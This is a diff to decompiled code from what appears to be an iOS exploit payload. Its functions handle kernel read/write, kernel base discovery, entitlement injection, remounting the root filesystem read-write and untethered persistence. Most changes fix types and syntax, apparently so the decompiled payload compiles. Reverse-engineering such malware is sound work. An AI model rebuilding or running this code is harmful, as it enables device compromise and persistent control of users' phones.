diff --git a/src/payload_377bed/defs.h b/src/payload_377bed/defs.h index 1454fe5..16b5850 100644 --- a/src/payload_377bed/defs.h +++ b/src/payload_377bed/defs.h @@ -3,7 +3,6 @@ It contains local type definitions from the type library 'entry1_type0x09.dylib' */ -@import Darwin; #include "ida_types.h" #define __int8 char diff --git a/src/payload_377bed/entry1_type0x09.m b/src/payload_377bed/entry1_type0x09.m index 404d469..c82e89c 100644 --- a/src/payload_377bed/entry1_type0x09.m +++ b/src/payload_377bed/entry1_type0x09.m @@ -200,9 +200,9 @@ __int64 __fastcall sub_19AC4(__int64 a1, unsigned __int64 a2, unsigned __int64 a unsigned int *__fastcall sub_19ACC(__int64 *a1, __int64 *a2); unsigned __int64 __fastcall sub_19B30(__int64 *a1, __int64 *a2); __int64 __fastcall sub_19B94(_QWORD, _QWORD); // weak -// __n128 __usercall sub_19B98@(char *__s2@, _QWORD *a2@, __int64 a3@); -// __n128 __usercall macho_getsectbyname@(char *seg@, __int64 a2@, const char *sect@, _QWORD *a4@); -// double __usercall sub_19D10@(__int64 a1@, _QWORD *a2@); +__n128 sub_19B98(char *__s2, _QWORD *a2, __int64 a3); +__n128 macho_getsectbyname(char *seg, __int64 a2, const char *sect, _QWORD *a4); +double sub_19D10(__int64 a1, _QWORD *a2); __int64 __fastcall sub_19D20(__int64 a1, char *__s2, unsigned __int64 a3); double __fastcall sub_19DD4(struct_a1 *a1, __int64 a2); __int64 __fastcall sub_19E04(__int64 a1); @@ -287,7 +287,7 @@ __int64 __fastcall sub_1FA28(__int64 a1, int a2); __int64 __fastcall sub_1FA7C(__int64 a1, __int64 a2, int a3, __int64 a4); __int64 __fastcall sub_1FADC(__int64 a1); __int64 __fastcall sub_1FC94(__int64 a1); -__int64 __fastcall sub_1FD98(statfs *a1); +__int64 __fastcall sub_1FD98(struct statfs *a1); __int64 __fastcall driver_cmd_setup_untethered_persistence_maybe(__int64 a1, int a2); __int64 __fastcall sub_203B0(__int64 a1, _DWORD *a2, char *a3); __int64 __fastcall sub_20468(__int64 a1, __int64 a2, int a3); @@ -599,7 +599,7 @@ __int64 __fastcall sub_39150(__int64 x0_0); unsigned __int64 __fastcall kernel_get_base_slid(struct_krwCtx *ctx, unsigned __int64 optional_vtable_func); __int64 __fastcall sub_39A24(__int64 a1, unsigned __int64 a2); unsigned __int64 __fastcall sub_39B14(_QWORD *a1); -// void __usercall sub_39B70(_QWORD *a1@, struct_krwCtx *a2@); +void sub_39B70(_QWORD *a1, struct_krwCtx *a2); __int64 __fastcall sub_39CC0(struct_krwCtx *a1, task_name_t target_task, int a3, const void *a4, mach_vm_size_t a5); __int64 __fastcall create_pthread_something(__int64 a1, pthread_t *a2, __int64 a3, void *a4); void __fastcall sub_39FDC(struct_krwCtx *someCtx, unsigned int a2, unsigned int a3); @@ -756,7 +756,7 @@ __int64 fileport_makefd(); void __cdecl free(void *); int __cdecl fstat(int, stat *); int __cdecl getattrlist(const char *, void *, void *, size_t, unsigned int); -int __cdecl getmntinfo(statfs **, int); +int __cdecl getmntinfo(struct statfs **, int); pid_t getpid(void); pid_t getppid(void); uid_t getuid(void); @@ -804,7 +804,7 @@ void __cdecl mig_dealloc_reply_port(mach_port_t reply_port); mach_port_t mig_get_reply_port(void); int __cdecl mkdir(const char *, mode_t); char *__cdecl mktemp(char *); -void *__cdecl mmap(void *, size_t, int, int, int, off_t); +// void *__cdecl mmap(void *, size_t, int, int, int, off_t); int __cdecl mount(const char *, const char *, int, void *); __int64 necp_client_action(); __int64 necp_open(); @@ -855,7 +855,7 @@ int snprintf(char *__str, size_t __size, const char *__format, ...); int __cdecl socket(int, int, int); int sscanf(const char *, const char *, ...); int __cdecl stat(const char *, stat *); -int __cdecl statfs(const char *, statfs *); +int __cdecl statfs(const char *, struct statfs *); char *__cdecl strchr(const char *__s, int __c); int __cdecl strcmp(const char *__s1, const char *__s2); char *__cdecl strcpy(char *__dst, const char *__src); @@ -982,7 +982,7 @@ ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte); // __int64 ___strlcpy_chk(void); weak // __int64 ___ulock_wait(void); weak // __int64 ___ulock_wake(void); weak -// __int64 __get_cpu_capabilities(void); weak +// __int64 j___get_cpu_capabilities(void); weak // __int64 __os_alloc_once(void); weak // void __cdecl _arc4random_buf(void *__buf, size_t __nbytes); // void __cdecl _bzero(void *, size_t); @@ -1000,7 +1000,7 @@ ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte); // void __cdecl _free(void *); // int __cdecl _fstat(int, stat *); // int __cdecl _getattrlist(const char *, void *, void *, size_t, unsigned int); -// int __cdecl _getmntinfo(statfs **, int); +// int __cdecl _getmntinfo(struct statfs **, int); // pid_t _getpid(void); // pid_t _getppid(void); // uid_t _getuid(void); @@ -1099,7 +1099,7 @@ ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte); // int __cdecl _socket(int, int, int); // int _sscanf(const char *, const char *, ...); // int __cdecl _stat(const char *, stat *); -// int __cdecl _statfs(const char *, statfs *); +// int __cdecl _statfs(const char *, struct statfs *); // char *__cdecl _strchr(const char *__s, int __c); // int __cdecl _strcmp(const char *__s1, const char *__s2); // char *__cdecl _strcpy(char *__dst, const char *__src); @@ -1154,7 +1154,7 @@ ssize_t __cdecl write(int __fd, const void *__buf, size_t __nbyte); int def_3E8F0 = -17958193; // weak int dword_4 = 16777228; // weak int dword_8 = -2147483646; // weak -section_64 stru_68 = +struct section_64 stru_68 = { { '_', @@ -1206,89 +1206,96 @@ char byte_42D30[16] = '\0', '\0' }; // weak -__int128 xmmword_42D40 = 0x2C40000000000000284000LL; // weak -__int128 xmmword_42D50 = 0x2040000000000000304000LL; // weak -__int128 xmmword_42D60 = 0x7FF0000000000000000220000680LL; // weak -__int128 xmmword_42D70 = 0x100000000000000000000000040LL; // weak -__int128 xmmword_42D80 = 0x70000000000000000200000680LL; // weak -__int128 xmmword_42D90 = 0x8000000000000000000000010LL; // weak -__int128 xmmword_42DA0 = 0x7FF0000000000000000200000680LL; // weak +__int128 xmmword_42D40 = IDA_INT128_C(0x00000000002C4000ULL, 0x0000000000284000ULL); // weak +__int128 xmmword_42D50 = IDA_INT128_C(0x0000000000204000ULL, 0x0000000000304000ULL); // weak +__int128 xmmword_42D60 = IDA_INT128_C(0x00007FF000000000ULL, 0x0000000220000680ULL); // weak +__int128 xmmword_42D70 = IDA_INT128_C(0x0000010000000000ULL, 0x0000000000000040ULL); // weak +__int128 xmmword_42D80 = IDA_INT128_C(0x0000007000000000ULL, 0x0000000200000680ULL); // weak +__int128 xmmword_42D90 = IDA_INT128_C(0x0000000800000000ULL, 0x0000000000000010ULL); // weak +__int128 xmmword_42DA0 = IDA_INT128_C(0x00007FF000000000ULL, 0x0000000200000680ULL); // weak _UNKNOWN unk_42DC8; // weak -__int128 xmmword_42EC0 = 0x1000000010000000000000000LL; // weak -__int128 xmmword_42F00 = 0x1000027110000271000020A51LL; // weak -__int128 xmmword_42F10 = 0x1000F4241000F4240000003E8LL; // weak -__int128 xmmword_42F20 = 0x444444440000000043434343LL; // weak -__int128 xmmword_42F30 = 0xD280000F00000000D280000FLL; // weak -__int128 xmmword_42F44 = 0xFFFFFC1F00000000FFFFFFFFLL; // weak -__int128 xmmword_42F58 = 0x9AC130619AC130419262F8429AC03021LL; // weak +__int128 xmmword_42EC0 = IDA_INT128_C(0x0000000100000001ULL, 0x0000000000000000ULL); // weak +__int128 xmmword_42F00 = IDA_INT128_C(0x0000000100002711ULL, 0x0000271000020A51ULL); // weak +__int128 xmmword_42F10 = IDA_INT128_C(0x00000001000F4241ULL, 0x000F4240000003E8ULL); // weak +__int128 xmmword_42F20 = IDA_INT128_C(0x0000000044444444ULL, 0x0000000043434343ULL); // weak +__int128 xmmword_42F30 = IDA_INT128_C(0x00000000D280000FULL, 0x00000000D280000FULL); // weak +__int128 xmmword_42F44 = IDA_INT128_C(0x00000000FFFFFC1FULL, 0x00000000FFFFFFFFULL); // weak +__int128 xmmword_42F58 = IDA_INT128_C(0x9AC130619AC13041ULL, 0x9262F8429AC03021ULL); // weak _UNKNOWN unk_42F68; // weak -__int128 xmmword_42F78 = 0xD280847100000000F94046E0F9000E60LL; // weak -__int128 xmmword_42F8C = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFLL; // weak -__int128 xmmword_42FA0 = 0xF9400000F9400008B9400100F9401048LL; // weak -__int128 xmmword_42FB0 = 0xFFC0001FFFC0001FFFFFFFE0FFFFFFFFLL; // weak -__int128 xmmword_42FC0 = 0xB9400000F9400000B4000000F9400000LL; // weak -__int128 xmmword_42FD0 = 0xFFC00000FFC00000FF000000FFC00000LL; // weak -__int128 xmmword_42FE0 = 0xB828680911040129B868680952800008LL; // weak -__int128 xmmword_42FF0 = 0xFFFFFC1FFFFFFFFFFFFFFC1FFFE0001FLL; // weak -__int128 xmmword_43000 = 0xB900001FB900001FF900001FLL; // weak -__int128 xmmword_43010 = 0xFFFFFC1FFFFFFC1FFFFFFC1FLL; // weak -__int128 xmmword_43020 = 0x9400000000000000B4000000F9000000LL; // weak -__int128 xmmword_43030 = 0xFC00000000000000FF00001FFFC0001FLL; // weak -__int128 xmmword_43040 = 0x3904C01FF9000010DAC10A30F2F9B431LL; // weak -__int128 xmmword_43050 = 0x200000000000000100LL; // weak -__int128 xmmword_43060 = 0xF90000009000000094000000528007C5LL; // weak -__int128 xmmword_43070 = 0xFFC0001F9F000000FC000000FFFFFFFFLL; // weak -__int128 xmmword_43080 = 0x58000001D503201F58000000D503201FLL; // weak -__int128 xmmword_43090 = 0xFF00001FFFFFFFFFFF00001FFFFFFFFFLL; // weak -__int128 xmmword_430A0 = 0xD65F03C0D5033FDFD5033F9FD508831FLL; // weak -__int128 xmmword_430B0 = 0xD50041BF0000000010000000LL; // weak -__int128 xmmword_430C0 = 0xFFFFFFFF000000009F000000LL; // weak -__int128 xmmword_430D0 = 0x0F862782100000000LL; // weak -__int128 xmmword_430E0 = 0x0FFFFFFFF00000000LL; // weak -__int128 xmmword_430F0 = 0xEB02007FCB010003910003FDA9BF7BFDLL; // weak -__int128 xmmword_43100 = 0xAA1503E2AA1403E100000000A9408388LL; // weak -__int128 xmmword_43110 = 0xFFFFFFFFFFFFFFFF00000000FFFFFFFFLL; // weak -__int128 xmmword_43120 = 0x8B20603FF94000215800000158000000LL; // weak -__int128 xmmword_43130 = 0xFFFFFFFFFFFFFFFFFF00001FFF00001FLL; // weak -__int128 xmmword_43140 = 0xFFFFFFF002004000FFFFFFF002000000LL; // weak -__int128 xmmword_43150 = 0xFFFFFFF00200C000FFFFFFF002008000LL; // weak -__int128 xmmword_43160 = 0xFFFFFFF002014000FFFFFFF002010000LL; // weak -__int128 xmmword_43170 = 0xFFFFFC1100170000FFFFFC1100160000LL; // weak -__int128 xmmword_43180 = 0xFFFFFF9100170000FFFFFF9100160000LL; // weak -__int128 xmmword_43190 = 0xFF004FF400FF0000000140198099LL; // weak -__int128 xmmword_431A0 = 0x41B0000000000000001LL; // weak -__int128 xmmword_431B0 = 0x3FA00000000000003F40LL; // weak -__int128 xmmword_431C0 = 0x3FFC0000000000003E00LL; // weak -__int128 xmmword_431D0 = 0x30000000000000000003C4LL; // weak -__int128 xmmword_431E0 = 0x30000000000000000003C5LL; // weak -__int128 xmmword_431F0 = 0x0FFFFFFFF80000000LL; // weak -__int128 xmmword_43200 = 0x10000000004000000100000001LL; // weak -__int128 xmmword_43270 = 0xFFFC00383A8700282E4A0020BAA20010LL; // weak -__int128 xmmword_43280 = 0x7F14042032E50058BE60005056350048LL; // weak -__int128 xmmword_43290 = 0x14000000D280000F14000000D280060FLL; // weak -__int128 xmmword_432A0 = 0xFC000000FFE0001FFC000000FFFFFFFFLL; // weak -__int128 xmmword_432B0 = 0x14000000D280000F14000000D28006AFLL; // weak -__int128 xmmword_432C0 = 0xD5033FDFD5087800D50343DFD53B4222LL; // weak -__int128 xmmword_432D0 = 0x1DEADDAB700010004LL; // weak -__int128 xmmword_432E0 = 0x40000000000004000LL; // weak -__int128 xmmword_432F0 = 0x1000009610000096000000960LL; // weak -__int128 xmmword_43300 = 0x1000F4241000F424000002710LL; // weak -__int128 xmmword_43350 = 0x8B284528F940000090000000D34EFD08LL; // weak -__int128 xmmword_43364 = 0xFFFFFFFFFFC000009F000000FFFFFFFFLL; // weak +__int128 xmmword_42F78 = IDA_INT128_C(0xD280847100000000ULL, 0xF94046E0F9000E60ULL); // weak +__int128 xmmword_42F8C = IDA_INT128_C(0xFFFFFFFF00000000ULL, 0xFFFFFFFFFFFFFFFFULL); // weak +__int128 xmmword_42FA0 = IDA_INT128_C(0xF9400000F9400008ULL, 0xB9400100F9401048ULL); // weak +__int128 xmmword_42FB0 = IDA_INT128_C(0xFFC0001FFFC0001FULL, 0xFFFFFFE0FFFFFFFFULL); // weak +__int128 xmmword_42FC0 = IDA_INT128_C(0xB9400000F9400000ULL, 0xB4000000F9400000ULL); // weak +__int128 xmmword_42FD0 = IDA_INT128_C(0xFFC00000FFC00000ULL, 0xFF000000FFC00000ULL); // weak +__int128 xmmword_42FE0 = IDA_INT128_C(0xB828680911040129ULL, 0xB868680952800008ULL); // weak +__int128 xmmword_42FF0 = IDA_INT128_C(0xFFFFFC1FFFFFFFFFULL, 0xFFFFFC1FFFE0001FULL); // weak +__int128 xmmword_43000 = IDA_INT128_C(0x00000000B900001FULL, 0xB900001FF900001FULL); // weak +__int128 xmmword_43010 = IDA_INT128_C(0x00000000FFFFFC1FULL, 0xFFFFFC1FFFFFFC1FULL); // weak +__int128 xmmword_43020 = IDA_INT128_C(0x9400000000000000ULL, 0xB4000000F9000000ULL); // weak +__int128 xmmword_43030 = IDA_INT128_C(0xFC00000000000000ULL, 0xFF00001FFFC0001FULL); // weak +__int128 xmmword_43040 = IDA_INT128_C(0x3904C01FF9000010ULL, 0xDAC10A30F2F9B431ULL); // weak +__int128 xmmword_43050 = IDA_INT128_C(0x0000000000000020ULL, 0x0000000000000100ULL); // weak +__int128 xmmword_43060 = IDA_INT128_C(0xF900000090000000ULL, 0x94000000528007C5ULL); // weak +__int128 xmmword_43070 = IDA_INT128_C(0xFFC0001F9F000000ULL, 0xFC000000FFFFFFFFULL); // weak +__int128 xmmword_43080 = IDA_INT128_C(0x58000001D503201FULL, 0x58000000D503201FULL); // weak +__int128 xmmword_43090 = IDA_INT128_C(0xFF00001FFFFFFFFFULL, 0xFF00001FFFFFFFFFULL); // weak +__int128 xmmword_430A0 = IDA_INT128_C(0xD65F03C0D5033FDFULL, 0xD5033F9FD508831FULL); // weak +__int128 xmmword_430B0 = IDA_INT128_C(0x00000000D50041BFULL, 0x0000000010000000ULL); // weak +__int128 xmmword_430C0 = IDA_INT128_C(0x00000000FFFFFFFFULL, 0x000000009F000000ULL); // weak +__int128 xmmword_430D0 = IDA_INT128_C(0x0000000000000000ULL, 0xF862782100000000ULL); // weak +__int128 xmmword_430E0 = IDA_INT128_C(0x0000000000000000ULL, 0xFFFFFFFF00000000ULL); // weak +__int128 xmmword_430F0 = IDA_INT128_C(0xEB02007FCB010003ULL, 0x910003FDA9BF7BFDULL); // weak +__int128 xmmword_43100 = IDA_INT128_C(0xAA1503E2AA1403E1ULL, 0x00000000A9408388ULL); // weak +__int128 xmmword_43110 = IDA_INT128_C(0xFFFFFFFFFFFFFFFFULL, 0x00000000FFFFFFFFULL); // weak +__int128 xmmword_43120 = IDA_INT128_C(0x8B20603FF9400021ULL, 0x5800000158000000ULL); // weak +__int128 xmmword_43130 = IDA_INT128_C(0xFFFFFFFFFFFFFFFFULL, 0xFF00001FFF00001FULL); // weak +__int128 xmmword_43140 = IDA_INT128_C(0xFFFFFFF002004000ULL, 0xFFFFFFF002000000ULL); // weak +__int128 xmmword_43150 = IDA_INT128_C(0xFFFFFFF00200C000ULL, 0xFFFFFFF002008000ULL); // weak +__int128 xmmword_43160 = IDA_INT128_C(0xFFFFFFF002014000ULL, 0xFFFFFFF002010000ULL); // weak +__int128 xmmword_43170 = IDA_INT128_C(0xFFFFFC1100170000ULL, 0xFFFFFC1100160000ULL); // weak +__int128 xmmword_43180 = IDA_INT128_C(0xFFFFFF9100170000ULL, 0xFFFFFF9100160000ULL); // weak +__int128 xmmword_43190 = IDA_INT128_C(0x0000FF004FF400FFULL, 0x0000000140198099ULL); // weak +__int128 xmmword_431A0 = IDA_INT128_C(0x000000000000041BULL, 0x0000000000000001ULL); // weak +__int128 xmmword_431B0 = IDA_INT128_C(0x0000000000003FA0ULL, 0x0000000000003F40ULL); // weak +__int128 xmmword_431C0 = IDA_INT128_C(0x0000000000003FFCULL, 0x0000000000003E00ULL); // weak +__int128 xmmword_431D0 = IDA_INT128_C(0x0000000000300000ULL, 0x00000000000003C4ULL); // weak +__int128 xmmword_431E0 = IDA_INT128_C(0x0000000000300000ULL, 0x00000000000003C5ULL); // weak +__int128 xmmword_431F0 = IDA_INT128_C(0x0000000000000000ULL, 0xFFFFFFFF80000000ULL); // weak +__int128 xmmword_43200 = IDA_INT128_C(0x0000001000000000ULL, 0x4000000100000001ULL); // weak +__int128 xmmword_43270 = IDA_INT128_C(0xFFFC00383A870028ULL, 0x2E4A0020BAA20010ULL); // weak +__int128 xmmword_43280 = IDA_INT128_C(0x7F14042032E50058ULL, 0xBE60005056350048ULL); // weak +__int128 xmmword_43290 = IDA_INT128_C(0x14000000D280000FULL, 0x14000000D280060FULL); // weak +__int128 xmmword_432A0 = IDA_INT128_C(0xFC000000FFE0001FULL, 0xFC000000FFFFFFFFULL); // weak +__int128 xmmword_432B0 = IDA_INT128_C(0x14000000D280000FULL, 0x14000000D28006AFULL); // weak +__int128 xmmword_432C0 = IDA_INT128_C(0xD5033FDFD5087800ULL, 0xD50343DFD53B4222ULL); // weak +__int128 xmmword_432D0 = IDA_INT128_C(0x0000000000000001ULL, 0xDEADDAB700010004ULL); // weak +__int128 xmmword_432E0 = IDA_INT128_C(0x0000000000000004ULL, 0x0000000000004000ULL); // weak +__int128 xmmword_432F0 = IDA_INT128_C(0x0000000100000961ULL, 0x0000096000000960ULL); // weak +__int128 xmmword_43300 = IDA_INT128_C(0x00000001000F4241ULL, 0x000F424000002710ULL); // weak +__int128 xmmword_43350 = IDA_INT128_C(0x8B284528F9400000ULL, 0x90000000D34EFD08ULL); // weak +__int128 xmmword_43364 = IDA_INT128_C(0xFFFFFFFFFFC00000ULL, 0x9F000000FFFFFFFFULL); // weak _QWORD qword_43378[3] = { 1073741824LL, 805306368LL, 536870912LL }; // weak unsigned int dword_43390[3] = { 2u, 2u, 0u }; // weak _DWORD dword_43428[10] = { 17, 4, 3, 6, 7, 5, 40, 20, 2, 42 }; // weak -__int128 xmmword_43450 = 0x20000000000000000LL; // weak +__int128 xmmword_43450 = IDA_INT128_C(0x0000000000000002ULL, 0x0000000000000000ULL); // weak __int128 xmmword_43460 = 17230332160LL; // weak -__int128 xmmword_43478 = 0x08000000100000000LL; // weak +__int128 xmmword_43478 = IDA_INT128_C(0x0000000000000000ULL, 0x8000000100000000ULL); // weak __int16 asc_43490[3] = { 7, 11, 13 }; // weak -__int128 xmmword_43690 = 0x640000007300000030000000060LL; // weak -__int128 xmmword_436C0 = 0x10000000000000000000000000000000LL; // weak +__int128 xmmword_43690 = IDA_INT128_C(0x0000064000000730ULL, 0x0000030000000060ULL); // weak +__int128 xmmword_436C0 = IDA_INT128_C(0x1000000000000000ULL, 0x0000000000000000ULL); // weak unsigned int dword_436F0[4] = { 20u, 32u, 20u, 48u }; // weak -__int128 xmmword_43710 = 0x800000000000000D300000007LL; // weak -__int128 xmmword_43730 = 0xFFFFFFFFFFFFEFFFFFFF000000000000LL; // weak -__int128 xmmword_43740 = 0x19000000180000001600000015LL; // weak -__int128 xmmword_43750 = 0x10000000000000000LL; // weak +__int128 xmmword_43710 = IDA_INT128_C(0x0000000800000000ULL, 0x000000D300000007ULL); // weak +__int128 xmmword_43730 = IDA_INT128_C(0xFFFFFFFFFFFFEFFFULL, 0xFFFF000000000000ULL); // weak +__int128 xmmword_43740 = IDA_INT128_C(0x0000001900000018ULL, 0x0000001600000015ULL); // weak +__int128 xmmword_43750 = IDA_INT128_C(0x0000000000000001ULL, 0x0000000000000000ULL); // weak +__int128 xmmword_43760; // weak +__int128 unk_43770; // weak +__int128 xmmword_43780; // weak +__int128 unk_43790; // weak +__int128 xmmword_437A0; // weak +__int128 unk_437B0; // weak +__int128 unk_437BC; // weak _UNKNOWN unk_44870; // weak _UNKNOWN unk_44890; // weak _UNKNOWN unk_448B0; // weak @@ -1704,7 +1711,7 @@ __int64 setup_thread_policy() unsigned __int32 v0[2]; // d0 unsigned __int32 v1[2]; // d1 thread_act_t v2; // w0 - mach_timebase_info info; // [xsp+8h] [xbp-18h] BYREF + struct mach_timebase_info info; // [xsp+8h] [xbp-18h] BYREF integer_t policy_info[4]; // [xsp+10h] [xbp-10h] BYREF mach_timebase_info(&info); @@ -6730,8 +6737,8 @@ __int64 __fastcall sub_CEB8(uint64_t x0, uint64_t x1) const void *v196; // x23 const void **v197; // x0 const void *v198; // x24 - const __CFData *v199; // x0 - const __CFData *v200; // x24 + const struct __CFData *v199; // x0 + const struct __CFData *v200; // x24 int v201; // w8 uint32_t v202; // w25 mem_entry_name_port_t *v203; // x23 @@ -7380,7 +7387,7 @@ LABEL_195: *(_QWORD *)(v4 + 13392) = *((_QWORD *)v91 + 1); *(_QWORD *)(v4 + 13384) = v88; *(_QWORD *)(v4 + 13400) = v91; - *__handle = (int8x8_t)(v84 | *(_QWORD *)&v83); + *__handle = (int8x8_t){ .u64 = { v84 | *(_QWORD *)&v83 } }; v94 = sub_FD18((_DWORD *)v4, (__int64)v64); if ( (_DWORD)v94 ) { @@ -8753,7 +8760,7 @@ LABEL_547: // EAD8: variable 'kobject' is possibly undefined // ED8C: variable 'v209' is possibly undefined // EDB0: variable 'v211' is possibly undefined -// 68: using guessed type section_64 stru_68; +// 68: using guessed type struct section_64 stru_68; // 42EC0: using guessed type __int128 xmmword_42EC0; // 48940: using guessed type __int64 __fastcall __chkstk_darwin(_QWORD, _QWORD); @@ -8964,7 +8971,7 @@ LABEL_13: { size = v4; object_handle = 0; - a2[3] = (int8x8_t)(*(_QWORD *)&v21 | v22); + a2[3] = (int8x8_t){ .u64 = { *(_QWORD *)&v21 | v22 } }; memory_entry = mach_make_memory_entry( mach_task_self_, &size, @@ -9019,7 +9026,7 @@ __int64 __fastcall sub_FD18(_DWORD *a1, __int64 a2) v2 = *(_DWORD *)(a2 + 32); v3 = *(_QWORD *)(a2 + 24); - v4 = (uint8x8_t)vcnt_s8((int8x8_t)v3); + v4 = (uint8x8_t)vcnt_s8((int8x8_t){ .u64 = { v3 } }); v4.i16[0] = vaddlv_u8(v4); if ( v2 == v4.i32[0] ) return 0; @@ -11649,7 +11656,7 @@ __int64 __fastcall check_rootfs_rw(__int64 ctx, int *outIsReadWrite) int isReadWrite; // w8 __int16 v6; // [xsp+Eh] [xbp-8D2h] BYREF char mnt1[48]; // [xsp+10h] [xbp-8D0h] BYREF - statfs v8; // [xsp+40h] [xbp-8A0h] BYREF + struct statfs v8; // [xsp+40h] [xbp-8A0h] BYREF bzero(&v8, 0x878u); v6 = 47; @@ -11759,7 +11766,7 @@ __int64 __fastcall sub_141F0(__int64 a1) unsigned int v3; // w20 _BOOL4 v4; // w0 char v6[2]; // [xsp+6h] [xbp-8CAh] BYREF - statfs v7; // [xsp+8h] [xbp-8C8h] BYREF + struct statfs v7; // [xsp+8h] [xbp-8C8h] BYREF char v8[40]; // [xsp+880h] [xbp-50h] BYREF strcpy(v6, "/"); @@ -11799,7 +11806,7 @@ __int64 __fastcall add_rw_to_disk(struct_krwCtx *a1, const char *a2, const char __int64 v14; // x23 __int64 arg_1; // x19 int v17; // [xsp+Ch] [xbp-8B4h] BYREF - statfs v18; // [xsp+10h] [xbp-8B0h] BYREF + struct statfs v18; // [xsp+10h] [xbp-8B0h] BYREF bzero(&v18, 0x878u); v17 = 0; @@ -11834,7 +11841,7 @@ __int64 __fastcall add_rw_to_disk(struct_krwCtx *a1, const char *a2, const char //----- (0000000000014444) ---------------------------------------------------- bool __fastcall sub_14444(const char *a1) { - statfs v3; // [xsp+0h] [xbp-8A0h] BYREF + struct statfs v3; // [xsp+0h] [xbp-8A0h] BYREF bzero(&v3, 0x878u); if ( statfs(a1, &v3) ) @@ -11865,7 +11872,7 @@ __int64 __fastcall sub_14524(struct_krwCtx *a1, int a2) _BOOL4 v16; // w0 char v18[3]; // [xsp+4h] [xbp-8Ch] BYREF bool v19; // [xsp+7h] [xbp-89h] BYREF - statfs *v20; // [xsp+8h] [xbp-88h] BYREF + struct statfs *v20; // [xsp+8h] [xbp-88h] BYREF char __s1[39]; // [xsp+10h] [xbp-80h] BYREF const char *v22[6]; // [xsp+38h] [xbp-58h] BYREF @@ -12048,7 +12055,7 @@ __int64 __fastcall sub_14920(struct_krwCtx *a1, int a2) int v18; // w0 int v20; // [xsp+0h] [xbp-50h] BYREF int v21; // [xsp+4h] [xbp-4Ch] BYREF - statfs *v22; // [xsp+8h] [xbp-48h] BYREF + struct statfs *v22; // [xsp+8h] [xbp-48h] BYREF v22 = 0; v4 = getmntinfo(&v22, 0); @@ -12359,7 +12366,7 @@ bool sub_14F9C() bool v1; // w23 __int64 v2; // x22 char *f_mntonname; // x19 - statfs *v5; // [xsp+8h] [xbp-38h] BYREF + struct statfs *v5; // [xsp+8h] [xbp-38h] BYREF v5 = 0; v0 = getmntinfo(&v5, 0); @@ -12387,11 +12394,11 @@ __int64 __fastcall krw_inject_entitlements_maybe(struct_krwCtx *krwCtx, __int64 _BOOL8 v7; // x24 void *v8; // x22 CFPropertyListRef v9; // x21 - const __CFData *v10; // x20 + const struct __CFData *v10; // x20 size_t v11; // x0 void *(__cdecl *v12)(void *); // x0 - const __CFData *Data; // x0 - const __CFData *v14; // x23 + const struct __CFData *Data; // x0 + const struct __CFData *v14; // x23 size_t Length; // x24 const UInt8 *BytePtr; // x0 int v17; // w0 @@ -12758,8 +12765,8 @@ __int64 __fastcall sub_15880(__int64 a1) thread_act_t v12; // w0 kern_return_t v13; // w0 unsigned int v14; // w8 - const __CFData *v16; // x0 - const __CFData *v17; // x20 + const struct __CFData *v16; // x0 + const struct __CFData *v17; // x20 const UInt8 *BytePtr; // x22 unsigned int Length; // w0 unsigned int v20; // w24 @@ -14485,7 +14492,7 @@ LABEL_269: v178.i64[1] = v177.u32[1]; *((_QWORD *)v4 + 47) = v176; *(int8x16_t *)(v4 + 98) = vbslq_s8( - (int8x16_t)vshrq_n_s64(vshlq_n_s64(v178, 0x3Fu), 0x3Fu), + v178.i64[0] ? (int8x16_t){ -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 } : (int8x16_t){ 0 }, (int8x16_t)xmmword_43180, (int8x16_t)xmmword_43170); vm_deallocate(mach_task_self_, *((_QWORD *)v4 + 41), *((_QWORD *)v4 + 42)); @@ -15915,10 +15922,10 @@ unsigned __int64 __fastcall validate_addr_maybe2(struct_krwCtx *krwCtx, unsigned if ( vaddr + 0x1000000000000LL >= 0xFFFFFFFFEFFFLL ) { - v2 = LODWORD(krwCtx->someMutex[711]); + v2 = LODWORD(((_DWORD *)&krwCtx->someMutex)[711]); if ( (_DWORD)v2 ) { - for ( i = &krwCtx->someMutex[758]; ; i += 3 ) + for ( i = (pthread_mutex_t *)(((_DWORD *)&krwCtx->someMutex) + 758); ; i += 3 ) { v4 = *(i - 1); v5 = !v4 || *i == 0; @@ -16126,7 +16133,7 @@ unsigned __int64 __fastcall sub_19B30(__int64 *a1, __int64 *a2) // 8: using guessed type int dword_8; //----- (0000000000019B98) ---------------------------------------------------- -__n128 __usercall sub_19B98@(char *__s2@, _QWORD *a2@, __int64 a3@) +__n128 sub_19B98(char *__s2, _QWORD *a2, __int64 a3) { __int64 v4; // x8 unsigned __int64 v5; // x22 @@ -16161,7 +16168,7 @@ LABEL_5: } //----- (0000000000019C34) ---------------------------------------------------- -__n128 __usercall macho_getsectbyname@(char *seg@, __int64 a2@, const char *sect@, _QWORD *a4@) +__n128 macho_getsectbyname(char *seg, __int64 a2, const char *sect, _QWORD *a4) { __int64 v5; // x8 unsigned __int64 v6; // x24 @@ -16212,7 +16219,7 @@ LABEL_4: } //----- (0000000000019D10) ---------------------------------------------------- -double __usercall sub_19D10@(__int64 a1@, _QWORD *a2@) +double sub_19D10(__int64 a1, _QWORD *a2) { double result; // d0 @@ -17787,7 +17794,7 @@ __int64 __fastcall sub_1C0C8(__int64 a1, int *a2) unsigned __int64 v17; // x22 unsigned __int64 v18; // x8 __int64 v19; // x22 - stat v20; // [xsp+0h] [xbp-110h] BYREF + struct stat v20; // [xsp+0h] [xbp-110h] BYREF int nullFd; // [xsp+94h] [xbp-7Ch] BYREF __int32 v22[2]; // [xsp+98h] [xbp-78h] BYREF __int64 v23; // [xsp+A0h] [xbp-70h] @@ -19945,7 +19952,7 @@ LABEL_13: v11[1] = 0; *(_QWORD *)&v11[2] = 0; v12[0] = 1; - result = 0u; + result = (__n128){0}; xnuMajorVersion->qword20 = *(_QWORD *)v12; xnuMajorVersion->majorVersion = 0u; xnuMajorVersion->oword10 = *(_OWORD *)v11; @@ -20560,7 +20567,7 @@ __int64 __fastcall sub_1FADC(__int64 a1) int v17; // w21 int v18; // w8 char __str[1024]; // [xsp+10h] [xbp-CC0h] BYREF - statfs v20; // [xsp+410h] [xbp-8C0h] BYREF + struct statfs v20; // [xsp+410h] [xbp-8C0h] BYREF v2 = *(const void **)a1; v3 = *(unsigned int *)(a1 + 8); @@ -20629,7 +20636,7 @@ __int64 __fastcall sub_1FC94(__int64 a1) char *f_mntonname; // [xsp+8h] 